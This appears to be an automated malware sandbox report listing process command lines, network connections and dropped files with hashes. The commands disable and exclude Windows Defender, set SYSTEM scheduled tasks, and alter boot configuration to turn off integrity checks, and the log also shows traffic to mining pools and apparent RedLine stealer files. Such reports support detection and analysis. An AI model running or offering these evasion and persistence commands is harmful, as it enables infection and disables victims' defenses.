reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 02:30:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\ZyzSroB.exe\" it /NzIdidlWwo 385118 /S" /V1 /F
C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
C:\Windows\SysWOW64\cmd.exe
/C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
\??\c:\windows\SysWOW64\schtasks.exe
schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
C:\Windows\system32\taskeng.exe
taskeng.exe {D4C4427C-F10C-4D11-9060-35ADF52DEF14} S-1-5-18:NT AUTHORITY\System:Service:
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
C:\Users\Admin\Pictures\yENFopZP5GmFW08d1CPXZJat.exe
"C:\Users\Admin\Pictures\yENFopZP5GmFW08d1CPXZJat.exe"
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2471592048946341519324504582043386532-1056669507-461310744-1858471176-251706299"
C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1729036171-185038372816348158391146665562849631455-767642759-888717158431006903"
C:\Users\Admin\Pictures\ttSbWpDbqteyjnpEkngPobBp.exe
"C:\Users\Admin\Pictures\ttSbWpDbqteyjnpEkngPobBp.exe"
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\7zSD115.tmp\Install.exe
.\Install.exe /tEdidDDf "385118" /S
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 02:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\xrAIDtG.exe\" it /juGdidBnsg 385118 /S" /V1 /F
C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe
"C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe" /flightsigning
C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
"C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe" /install
C:\Windows\system32\regsvr32.exe
/s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
"C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"
C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
C:\Windows\SysWOW64\cmd.exe
/C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
\??\c:\windows\SysWOW64\schtasks.exe
schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
/showtrayicon
C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
C:\Windows\windefender.exe
C:\Windows\windefender.exe
C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
"C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /install
C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
"C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=1
C:\Windows\SysWOW64\regsvr32.exe
C:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\360\Total Security\safemon\safemon.dll"
C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe
"C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /watch
C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
"C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"
C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe
"C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"
C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe
"C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=1
C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe
"C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe authroots.sst
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe updroots.sst
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -l roots.sst
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -d delroots.sst
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
Network
| Country | Destination | Domain | Proto |
| RU | 5.42.96.7:80 | 5.42.96.7 | tcp |
| RU | 77.221.151.47:80 | 77.221.151.47 | tcp |
| RU | 185.215.113.67:26260 | tcp | |
| RU | 77.221.151.47:8080 | tcp | |
| RU | 5.42.96.78:80 | 5.42.96.78 | tcp |
| RU | 77.221.151.47:9090 | tcp | |
| US | 8.8.8.8:53 | xmr.2miners.com | udp |
| DE | 162.19.139.184:2222 | xmr.2miners.com | tcp |
| DE | 185.172.128.19:80 | 185.172.128.19 | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| US | 8.8.8.8:53 | yip.su | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 188.114.96.2:443 | yip.su | tcp |
| US | 172.67.19.24:443 | pastebin.com | tcp |
| DE | 185.172.128.19:80 | 185.172.128.19 | tcp |
| US | 8.8.8.8:53 | file-file-host6.com | udp |
| RU | 5.101.50.183:80 | file-file-host6.com | tcp |
| US | 8.8.8.8:53 | parrotflight.com | udp |
| US | 188.114.96.2:443 | parrotflight.com | tcp |
| US | 8.8.8.8:53 | junglethomas.com | udp |
| US | 172.67.197.33:443 | junglethomas.com | tcp |
| RU | 5.42.96.78:80 | 5.42.96.78 | tcp |
| US | 8.8.8.8:53 | onlycitylink.com | udp |
| US | 8.8.8.8:53 | realdeepai.org | udp |
| US | 8.8.8.8:53 | 1xst.ru | udp |
| RU | 5.42.96.78:80 | 5.42.96.78 | tcp |
| US | 104.21.18.166:443 | onlycitylink.com | tcp |
| US | 104.21.18.166:443 | onlycitylink.com | tcp |
| US | 8.8.8.8:53 | realdeepai.org | udp |
| US | 188.114.96.2:443 | realdeepai.org | tcp |
| US | 8.8.8.8:53 | free.360totalsecurity.com | udp |
| RU | 5.42.96.64:80 | tcp | |
| US | 188.114.97.2:443 | realdeepai.org | tcp |
| US | 8.8.8.8:53 | firstfirecar.com | udp |
| US | 8.8.8.8:53 | jonathantwo.com | udp |
| US | 188.114.96.2:443 | firstfirecar.com | tcp |
| US | 8.8.8.8:53 | jonathantwo.com | udp |
| US | 188.114.96.2:443 | jonathantwo.com | tcp |
| US | 104.21.31.124:443 | jonathantwo.com | tcp |
| US | 8.8.8.8:53 | apps.identrust.com | udp |
| US | 2.18.190.81:80 | apps.identrust.com | tcp |
| NL | 151.236.127.172:443 | free.360totalsecurity.com | tcp |
| KW | 62.150.232.50:80 | 1xst.ru | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| KW | 62.150.232.50:80 | 1xst.ru | tcp |
| US | 188.114.96.2:443 | jonathantwo.com | tcp |
| US | 8.8.8.8:53 | st.p.360safe.com | udp |
| US | 8.8.8.8:53 | iup.360safe.com | udp |
| US | 8.8.8.8:53 | tr.p.360safe.com | udp |
| IE | 54.77.42.29:3478 | st.p.360safe.com | udp |
| IE | 54.77.42.29:3478 | st.p.360safe.com | udp |
| US | 8.8.8.8:53 | s.360safe.com | udp |
| NL | 151.236.127.172:80 | iup.360safe.com | tcp |
| NL | 151.236.127.172:80 | iup.360safe.com | tcp |
| NL | 151.236.127.172:80 | iup.360safe.com | tcp |
| NL | 151.236.127.172:80 | iup.360safe.com | tcp |
| NL | 151.236.127.172:80 | iup.360safe.com | tcp |
| DE | 52.29.179.141:80 | s.360safe.com | tcp |
| DE | 52.29.179.141:80 | s.360safe.com | tcp |
| US | 8.8.8.8:53 | int.down.360safe.com | udp |
| RU | 77.221.151.47:8080 | tcp | |
| DE | 108.157.4.67:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.48:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.116:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.3:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.67:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.67:80 | int.down.360safe.com | tcp |
| IE | 54.76.174.118:80 | tr.p.360safe.com | udp |
| US | 8.8.8.8:53 | sd.p.360safe.com | udp |
| DE | 108.156.253.34:80 | sd.p.360safe.com | tcp |
| US | 8.8.8.8:53 | iplogger.com | udp |
| US | 172.67.188.178:443 | iplogger.com | tcp |
| DE | 52.29.179.141:80 | s.360safe.com | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| RU | 77.221.151.47:8080 | tcp | |
| DE | 108.157.4.3:80 | int.down.360safe.com | tcp |
| US | 8.8.8.8:53 | 6acb88d0-53d3-4c7d-915b-3c70f54d9b0e.uuid.statstraffic.org | udp |
| RU | 77.221.151.47:8080 | tcp | |
| DE | 108.157.4.116:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.48:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.3:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.116:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.48:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.3:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.116:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.67:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.3:80 | int.down.360safe.com | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| DE | 108.157.4.116:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.48:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.67:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.3:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.116:80 | int.down.360safe.com | tcp |
| DE | 108.157.4.67:80 | int.down.360safe.com | tcp |
| DE | 52.29.179.141:80 | s.360safe.com | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| DE | 52.29.179.141:80 | s.360safe.com | tcp |
| US | 8.8.8.8:53 | msdl.microsoft.com | udp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| US | 8.8.8.8:53 | vsblobprodscussu5shard30.blob.core.windows.net | udp |
| US | 20.150.70.36:443 | vsblobprodscussu5shard30.blob.core.windows.net | tcp |
| US | 8.8.8.8:53 | orion.ts.360.com | udp |
| NL | 82.145.215.156:443 | orion.ts.360.com | tcp |
| US | 8.8.8.8:53 | ocsp.crlocsp.cn | udp |
| CN | 101.198.2.196:80 | ocsp.crlocsp.cn | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| US | 8.8.8.8:53 | zeph-eu2.nanopool.org | udp |
| US | 172.67.19.24:443 | pastebin.com | tcp |
| GB | 51.195.138.197:10943 | zeph-eu2.nanopool.org | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| RU | 5.42.96.78:80 | 5.42.96.78 | tcp |
| RU | 77.221.151.47:9090 | tcp | |
| US | 8.8.8.8:53 | crl.crlocsp.cn | udp |
| CN | 180.97.234.247:80 | crl.crlocsp.cn | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| RU | 77.221.151.47:8080 | tcp | |
| RU | 77.221.151.47:8080 | tcp | |
| RU | 77.221.151.47:8080 | tcp | |
| CN | 61.183.52.195:80 | crl.crlocsp.cn | tcp |
| US | 8.8.8.8:53 | vsblobprodscussu5shard20.blob.core.windows.net | udp |
| US | 20.150.38.228:443 | vsblobprodscussu5shard20.blob.core.windows.net | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| RU | 77.221.151.47:8080 | tcp | |
| N/A | 127.0.0.1:14343 | tcp | |
| RU | 77.221.151.47:8080 | tcp | |
| US | 8.8.8.8:53 | stun.stunprotocol.org | udp |
| US | 8.8.8.8:53 | server4.statstraffic.org | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| BG | 185.82.216.104:443 | server4.statstraffic.org | tcp |
| US | 8.8.8.8:53 | carsalessystem.com | udp |
| US | 104.21.94.82:443 | carsalessystem.com | tcp |
| RU | 77.221.151.47:8080 | tcp | |
| RU | 77.221.151.47:8080 | tcp | |
| BG | 185.82.216.104:443 | server4.statstraffic.org | tcp |
| US | 8.8.8.8:53 | tconf.cloud.360safe.com | udp |
| US | 8.8.8.8:53 | tconf.cloud.360safe.com | udp |
| RU | 77.221.151.47:8080 | tcp | |
| IE | 54.76.133.21:53 | tconf.cloud.360safe.com | udp |
| IE | 54.76.133.21:80 | tconf.cloud.360safe.com | tcp |
| IE | 54.76.133.21:53 | tconf.cloud.360safe.com | udp |
| US | 8.8.8.8:53 | u.qurl.cloud.360safe.com | udp |
| IE | 54.76.133.21:80 | tconf.cloud.360safe.com | tcp |
| IE | 54.76.133.21:80 | tconf.cloud.360safe.com | tcp |
| IE | 54.76.133.21:53 | tconf.cloud.360safe.com | udp |
| IE | 54.77.108.94:80 | tcp | |
| IE | 54.76.133.21:53 | tconf.cloud.360safe.com | udp |
| IE | 54.77.108.94:80 | tcp | |
| RU | 77.221.151.47:8080 | tcp | |
| RU | 77.221.151.47:9090 | tcp | |
| US | 8.8.8.8:53 | stun.ipfire.org | udp |
| DE | 81.3.27.44:3478 | stun.ipfire.org | udp |
| IE | 54.76.133.21:53 | tconf.cloud.360safe.com | udp |
| IE | 54.77.143.119:80 | tcp | |
| IE | 54.76.133.21:53 | tconf.cloud.360safe.com | udp |
| US | 8.8.8.8:53 | s.360safe.com | udp |
| DE | 52.29.179.141:80 | s.360safe.com | tcp |
| US | 8.8.8.8:53 | s.360totalsecurity.com | udp |
| NL | 82.145.213.42:80 | s.360totalsecurity.com | tcp |
| RU | 77.221.151.47:8080 | tcp |
Files
memory/1700-0-0x0000000000840000-0x0000000000CEF000-memory.dmp
memory/1700-1-0x0000000077200000-0x0000000077202000-memory.dmp
memory/1700-2-0x0000000000841000-0x000000000086F000-memory.dmp
memory/1700-3-0x0000000000840000-0x0000000000CEF000-memory.dmp
memory/1700-5-0x0000000000840000-0x0000000000CEF000-memory.dmp
memory/1700-10-0x0000000000840000-0x0000000000CEF000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
| MD5 | 870cdf639a6dd069bac616b77b0cb1a7 |
| SHA1 | 1f63671412b0638f6abaebfb35f16d03b5ba09e0 |
| SHA256 | 69ca3ddf71a6496576e5730364dc2f8bef8a54b78538fa4c1c38b9f64f19890b |
| SHA512 | a3752e2e49254adc4dcd6b6c055bb8e4d3df8bec0c5a971f82c1d410b8bcdabfb383b4bb06fe3b6e676362fc467a6595ba6f5ce1f7051ecc294a79a74885f903 |
memory/1192-17-0x00000000003B0000-0x000000000085F000-memory.dmp
memory/1700-15-0x0000000000840000-0x0000000000CEF000-memory.dmp
memory/1192-18-0x00000000003B0000-0x000000000085F000-memory.dmp
memory/1192-19-0x00000000003B0000-0x000000000085F000-memory.dmp
memory/1192-21-0x00000000003B0000-0x000000000085F000-memory.dmp
memory/1192-22-0x00000000003B0000-0x000000000085F000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
| MD5 | 31841361be1f3dc6c2ce7756b490bf0f |
| SHA1 | ff2506641a401ac999f5870769f50b7326f7e4eb |
| SHA256 | 222393a4ab4b2ae83ca861faee6df02ac274b2f2ca0bed8db1783dd61f2f37ee |
| SHA512 | 53d66fa19e8db360042dadc55caaa9a1ca30a9d825e23ed2a58f32834691eb2aaaa27a4471e3fc4d13e201accc43160436ed0e9939df1cc227a62a09a2ae0019 |
C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
| MD5 | 7f981db325bfed412599b12604bd00ab |
| SHA1 | 9f8a8fd9df3af3a4111e429b639174229c0c10cd |
| SHA256 | 043839a678bed1b10be00842eae413f5ecd1cad7a0eaa384dd80bc1dcd31e69b |
| SHA512 | a5be61416bc60669523e15213098a6d3bb5a2393612b57863fedfa1ff974bc110e0b7e8aadc97d0c9830a80798518616f9edfb65ae22334a362a743b6af3a82d |
memory/1516-59-0x0000000000030000-0x0000000000031000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
| MD5 | 9faf597de46ed64912a01491fe550d33 |
| SHA1 | 49203277926355afd49393782ae4e01802ad48af |
| SHA256 | 0854678d655668c8ebb949c990166e26a4c04aef4ecf0191a95693ca150a9715 |
| SHA512 | ef8a7a8566eaf962c4e21d49d9c1583ed2cdc9c2751ce75133a9765d2fa6dc511fc6cc99ea871eb83d50bd08a31cb0b25c03f27b8e6f351861231910a6cf1a1e |
memory/2044-77-0x0000000001200000-0x0000000001252000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Tmp4461.tmp
| MD5 | 1420d30f964eac2c85b2ccfe968eebce |
| SHA1 | bdf9a6876578a3e38079c4f8cf5d6c79687ad750 |
| SHA256 | f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9 |
| SHA512 | 6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8 |
memory/1192-91-0x00000000003B0000-0x000000000085F000-memory.dmp
memory/1192-92-0x00000000003B0000-0x000000000085F000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
| MD5 | 0f52e5e68fe33694d488bfe7a1a71529 |
| SHA1 | 11d7005bd72cb3fd46f24917bf3fc5f3203f361f |
| SHA256 | efd29c35766c607aa15d1cb83dec625739791b1616ad37d5b47e78cdb8a42ca8 |
| SHA512 | 238fbb1c04eef2f2005cb7abf0223e3cd062d9d2840966292e19dcaa495609e134a0bdc35389ae9925ecfc787a13772d3ac7b29058579f702bc849dd0343c400 |
